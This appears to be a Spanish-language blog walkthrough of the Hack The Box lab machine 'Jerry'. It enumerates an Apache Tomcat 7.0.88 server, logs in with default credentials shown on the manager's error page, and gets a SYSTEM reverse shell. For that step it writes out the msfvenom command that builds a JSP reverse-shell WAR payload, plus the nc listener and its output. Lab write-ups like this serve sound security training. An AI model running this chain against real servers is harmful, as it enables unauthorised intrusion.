Post

HTB Jerry

Resumen

logo

Jerry es una máquina bastante amigable para aquellos que están empezando en Hack The Box. En esta máquina, es necesario realizar una enumeración dentro de un sitio web alojado en Apache Tomcat para darse cuenta de que se están utilizando credenciales por defecto, información que el propio sitio web revela. Después de este descubrimiento, solo hace falta subir un archivo .war que será interpretado por el servidor, lo que resulta en la obtención de una shell reversa con máximos privilegios dentro de Windows.

Escaneo de Puertos

Para empezar, Se realiza un ping para verificar si existe conexión con la máquina.

1
2
3
4
5
6
7
ping -c 1 10.10.10.95
PING 10.10.10.95 (10.10.10.95) 56(84) bytes of data.
64 bytes from 10.10.10.95: icmp_seq=1 ttl=127 time=232 ms

--- 10.10.10.95 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 232.199/232.199/232.199/0.000 ms

Ahora es posible realizar un escaneo de puertos con Nmap para conocer qué puertos están activos dentro de la máquina y con eso poder descubrir que servicios se encuentran corriendo en cada uno.

1
2
3
4
5
❯ nmap -p- --min-rate 2000 10.10.10.95 -Pn -oG ports

Nmap scan report for 10.10.10.95
PORT     STATE SERVICE
8080/tcp open  http-proxy

Sobre el puerto, es posible realizar un escaneo más detallado para obtener más información sobre el servicio que se encuentra en ejecución.

1
2
3
4
5
6
7
8
❯ nmap -p8080 -sVC 10.10.10.95 -Pn -oN versions

Nmap scan report for 10.10.10.95
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
|_http-favicon: Apache Tomcat

Enumeración

Con la información obtenida, se procede a revisar el sitio web, y al hacerlo, se observa un servicio de Apache Tomcat

web

Apache Tomcat es un contenedor de servlets que se puede usar para compilar y ejecutar aplicaciones web realizadas en Java. Implementa y da soporte tanto a servlets como a páginas JSP (Java Server Pages) o Java Sockets.

Al intentar acceder al panel de administrador, se observa la presencia de un formulario para el ingreso.

formulario

Si se llena de forma errónea el formulario, se puede observar un mensaje de error que muestra las credenciales por defecto del servicio. Por lo tanto, se puede intentar utilizarlas para realizar el inicio de sesión. error

Explotación

Al probarlas, se confirma que efectivamente se están utilizando esas credenciales, lo que permite ingresar al servicio como administrador

validCreds

admin

Ahora, al contar con privilegios de administrador dentro de la web, es posible subir un archivo .war para obtener una shell reversa.

FileUpload

Pero para esto, es necesario crear el archivo que será interpretado por el servidor. Para ello, se puede hacer uso de msfvenom mediante el siguiente comando:

1
2
3
4
5
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.61 LPORT=4444 -f war -o jerry.war

Payload size: 1101 bytes
Final size of war file: 1101 bytes
Saved as: jerry.war

Ahora solo queda cargar el archivo, ponerse a la escucha con nc y ejecutarlo dándole clic a su enlace para obtener la shell reversa.

file

Se pone a la escucha con el siguiente comando:

1
nc -lvp 4444

Y se da click dentro del enlace se gana una shell reversa.

clic

1
2
3
4
5
6
7
8
9
10
11
12
 nc -lvp 4444
listening on [any] 4444 ...
10.10.10.95: inverse host lookup failed: Unknown host
connect to [10.10.14.61] from (UNKNOWN) [10.10.10.95] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system

C:\apache-tomcat-7.0.88>

Dado que el servicio se está ejecutando con máximos privilegios gracias a nc authority, solo sería necesario buscar las flags, ya que se cuenta con acceso completo al sistema.

This post is licensed under CC BY 4.0 by the author.